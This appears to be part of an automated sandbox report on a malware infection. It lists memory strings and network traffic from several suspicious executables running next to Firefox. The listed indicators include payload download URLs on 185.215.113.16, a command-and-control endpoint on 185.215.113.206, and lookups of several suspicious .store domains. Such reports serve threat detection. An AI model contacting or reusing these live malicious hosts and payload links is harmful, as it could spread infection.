Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4CE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;engine&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPDevTools telemetry entry point failed: Failed to execute WebChannel callback:browser.fixup.domainsuffixwhitelist.devtools.debugger.remote-websocketresource://devtools/shared/security/socket.js@mozilla.org/network/protocol;1?name=defaultbrowser.fixup.dns_first_for_single_wordsJSON Viewer's onSave failed in startPersistence{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}^([a-z+.-]+:\/{0,3})*([^\/@]+@).+DevToolsStartup.jsm:handleDebuggerFlagdevtools/client/framework/devtools-browserUnable to start devtools server on Failed to listen. Callback argument missing.resource://devtools/server/devtools-server.js^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]|$)devtools/client/framework/devtoolsWebChannel/this._originCheckCallbackbrowser.urlbar.dnsResolveFullyQualifiedNamesFailed to listen. Listener already attached.devtools.performance.popup.feature-flagdevtools.performance.recording.ui-base-url^([a-z][a-z0-9.+\t-]*)(:|;)?(\/\/)?get FIXUP_FLAGS_MAKE_ALTERNATE_URI@mozilla.org/dom/slow-script-debug;1get FIXUP_FLAG_FORCE_ALTERNATE_URIGot invalid request to save JSON dataNo callback set for this channel.releaseDistinctSystemPrincipalLoaderhttp://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/web-handler-app;1Scheme should be either http or https{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/JSONFile.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/NetUtil.sys.mjs@mozilla.org/network/file-input-stream;1_finalizeInternal/this._finalizePromise<http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sresource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/network/async-stream-copier;1_injectDefaultProtocolHandlersIfNeeded@mozilla.org/uriloader/local-handler-app;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/dbus-handler-app;1isDownloadsImprovementsAlreadyMigratedCan't invoke URIFixup in the content processhttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/DeferredTask.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}https://poczta.interia.pl/mh/?mailto=%s_setUpMenulistPopup/</this._scrollTimer< equals www.yahoo.com (Yahoo)
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp--autocomplete-popup-separator-color--panel-banner-item-update-supported-bgcolor--panel-banner-item-info-icon-bgcolor*://www.facebook.com/platform/impression.php**://pubads.g.doubleclick.net/gampad/*xml_vmap2**://*.adsafeprotected.com/services/pub**://track.adform.net/Serving/TrackPoint/**://ads.stickyadstv.com/auto-user-sync**://*.adsafeprotected.com/*/unit/**://cdn.cmp.advertising.com/firefox-etpexpressionist-balanced-colorway@mozilla.org equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2788242499.00000295E6803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6727000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x*://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: global traffic DNS traffic detected: DNS query: presticitpo.store
Source: global traffic DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: example.org
Source: global traffic DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: www.youtube.com
Source: global traffic DNS traffic detected: DNS query: www.facebook.com
Source: global traffic DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic DNS traffic detected: DNS query: www.reddit.com
Source: global traffic DNS traffic detected: DNS query: twitter.com
Source: global traffic DNS traffic detected: DNS query: reddit.map.fastly.net
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2749678005.00000295D4C5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2054429667.000000000089C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/S4
Source: file.exe, 00000000.00000003.2054429667.000000000089C000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exeJTu
Source: file.exe, 00000000.00000003.2054218674.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, bd73c9fe1b.exe, 00000008.00000003.2677360643.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2674422053.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe
Source: bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe3Xh
Source: bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeLT
Source: bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeeoNT?
Source: file.exe, 00000000.00000003.2054218674.00000000008A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exemmnjh
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2772881272.000000000126B000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: num.exe, 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/%
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/0C
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php$
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php(
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.000000000107F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/U
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/d
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php2
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.000000000107F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php6G
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php7D
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpD
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpDC
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.0000000001078000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpH
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpP
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpR
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpT
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpWD
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.0000000001078000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpl
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpp
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/?
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/G6
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/KC
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/Z
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/icrosoft
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/r
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/tN
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/ws
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/y
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206B
Source: num.exe, 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206u
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%sresource://gr
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: bd73c9fe1b.exe, 00000008.00000003.2675092988.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.m
Source: file.exe, 00000000.00000003.1774901475.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002094324.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1778514687.0000000000866000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000002.2803703540.00000295E7451000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784569965.00000295E661C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E661C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.htmlURLFetcher/xhr.onreadystatechange_startDetection/urlFe
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0326000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0361000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/dates-and-times0
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0326000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0361000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0326000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4C03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000002F.00000002.2976602615.000001B29BC03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2668629562.00000295E527C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2796456742.00000295E6E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2769718398.00000295E4807000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2769718398.00000295E4804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2772290045.00000295E4C33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2769718398.00000295E483B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758063479.00000295E1BBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803703540.00000295E740B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807593072.000002980003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2779235507.00000295E56AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2674527918.00000295E52D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2774239816.00000295E52D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773012638.00000295E4E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803703540.00000295E74E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2805617940.00000295E7E27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2779235507.00000295E566D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2805617940.00000295E7E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758063479.00000295E1B34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2790041065.00000295E69AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000002F.00000003.2873867404.000001B2AC2CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2874004878.000001B2AC29C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sresource://gre/module
